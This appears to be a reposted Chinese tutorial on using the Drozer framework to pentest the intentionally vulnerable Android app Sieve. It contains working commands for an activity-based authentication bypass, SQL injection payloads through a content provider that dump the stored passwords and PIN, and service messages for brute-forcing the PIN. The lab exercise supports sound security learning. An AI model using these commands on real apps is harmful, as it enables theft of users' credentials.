赞
踩
Drozer是一款安卓的安全测试框架,可以用来对安卓应用进行渗透测试,工作方式为交互式,有点类似于MSF,可以选择模块和payload对风险点进行分析和漏洞验证。
(1)drozer安装程序
链接:http://mwr.to/drozer
(2)JDK
链接:https://www.oracle.com/technetwork/java/javase/downloads/index.html
(3)python 2.7
链接:https://www.python.org/downloads/windows/
现在处于等待连接状态:
adb devices 看下有没有检测到模拟器:
drozer Agent默认监听的端口是31415(这里设置完成不会有回显)
到这里没有报错了就说明安装成功了。这里启动的时候可能经常会遇到很多报错,只需要按照提示一步一步的把缺的东西都装上即可。
下面的实验以该APP为例进行测试:
下载链接:
https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
这是一个存在多种漏洞的测试APP,它是一个密码管理的程序。
为了后面的测试,我们这里先进行一次使用:
设置访问密码:adminpassword123456789
设置PIN:1234
存储一次信息:
密码:test
保存后为如下界面:
关闭程序,再次打开:
需要输入一开始设置的密码才能访问:
输入密码后登陆:
(1)列出所有APP
run app.package.list
(编码原因中文可能出现乱码,需要自行设置编码)
也可以直接使用-f参数+文件名,获取程序包名:
run app.package.list -f sieve
(2)程序包信息
run app.package.info -a com.mwr.example.sieve
得到数据存放路径:
/data/data/com.mwr.example.sieve
APK路径:
/data/app/com.mwr.example.sieve-1.apk
这些信息在其他一些测试中会用的到。
(3)确定攻击面
run app.package.attacksurface com.mwr.example.sieve
前面的数字代表每种组件有多少个是暴露的,说明是存在风险的。
(1)获取activities信息
run app.activity.info -a com.mwr.example.sieve
分析:
从名字可以看出:
com.mwr.example.sieve.FileSelectActivity应该是与目录相关的包
com.mwr.example.sieve.MainLoginActivity 应该是与登录相关的包
com.mwr.example.sieve.PWList 应该是与密码相关的包
所以第一个和第三个应该是我们测试的重点对象。
(2)com.mwr.example.sieve.FileSelectActivity
命令格式:
--component 启动/调用
run app.activity.start --component 包名 组件名
尝试直接去调用这个组件:
run app.activity.start --component com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
然后查看模拟器:
这是一些和存储相关的信息
(3)com.mwr.example.sieve.PWList
直接调用密码组件:
run app.activity.start --component com.mwr.example.sieve
com.mwr.example.sieve.PWList
可以看到我们直接绕过了密码验证就访问到登陆后的界面了:
这里就说明Actiity组件中的com.mwr.example.sieve.PWList是存在漏洞的,可以理解为认证绕过。
进一步的我们尝试访问具体数据,点击信息,看到程序报错了:
(1)获取 content providers信息
run app.provider.info -a com.mwr.example.sieve
因为content provider是跨进程通信的时候提供数据的交互、共享的组建,所以这里可能会存在注入点,需要特别关注。
(2)查找注入点
使用模块:scanner.provider.injection
run scanner.provider.injection -a com.mwr.example.sieve
找到存在注入的URI:
(3)查询content provider 内容
使用app.provider.query模块
a)run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
b)run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
这里直接就出来数据了,但是安装正常的注入流程,应该先查下有哪些表:
c) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from sqlite_master where type= 'table'; --"
说明:
--projection [columns [columns …]] 选择查询哪些列,如:--projection _id,name,类似于SQLMAP中-C的作用
sqlite_master 是sqlite数据库的系统表,在里面使用select查询可以获取到所有的系统表。通常安卓使用的数据库都是sqlite,也有可能使用的是远程的数据库,可以使用以下方法进行确认:
cc)进入adb shell:
进入如下目录:数据库在本地,说明用的不是远程数据库,进一步确认数据库类型:
这里确认的方法很多种,最简单的直接more database.db看一下关键字就能判断出来了:
通过上面命令,我们得到了三张表,正常的思路,看到password,读取表的内容:
d) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Passwords; --"
得到我们存储在里面的数据:
e) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Key; --"
前面读取的是用户存储的信息,下面读取key表:
得到登陆APP的密码、PIN码
(1)获取service组件信息
run app.service.info -a com.mwr.example.sieve
发现有两个service组建:AuthService、CryptoService
从名字可以看出来:
AuthService:认证相关
CrytoService:加密相关
这里只讲AuthService,因为相对而言,认证的安全性比加密的更重要。
(2)反编译APK
对APK进行反编译,然后查看AuthService.smali中的handlemessage()方法:
经过分析可以得出以下2十六进制的数就是我们需要的值(这里需要了解安卓的handlemessage,请自行学习):
将这两个值转换为十进制:2354、9234
(3)调用AuthService破解PIN码
模块:app.service.send
使用Message攻击暴露的service,其service实现了handleMessage,需要三个参数,前两个参数为上面得到的两个值,第三个用0即可。
参数:
--extra TYPE KEY VALUE 指定附加的数据,再这里是用来制定要枚举的PIN值
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1111 --bundle-as-obj
当输入的PIN值不正确时返回我们枚举的PIN值:
当正确时返回主password:
这边可以根据不同的程序,PIN码的长度情况而定,像这边比较短完全可以使用脚本进行爆破。
说明:
上面这个sieve.apk没有Broadcast Receivers组件,所以另外找了一个进行测试:
(1)获取broadcast信息
获取攻击面、broadcast信息
(2)发送广播
查看Logcat:
调用成功:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。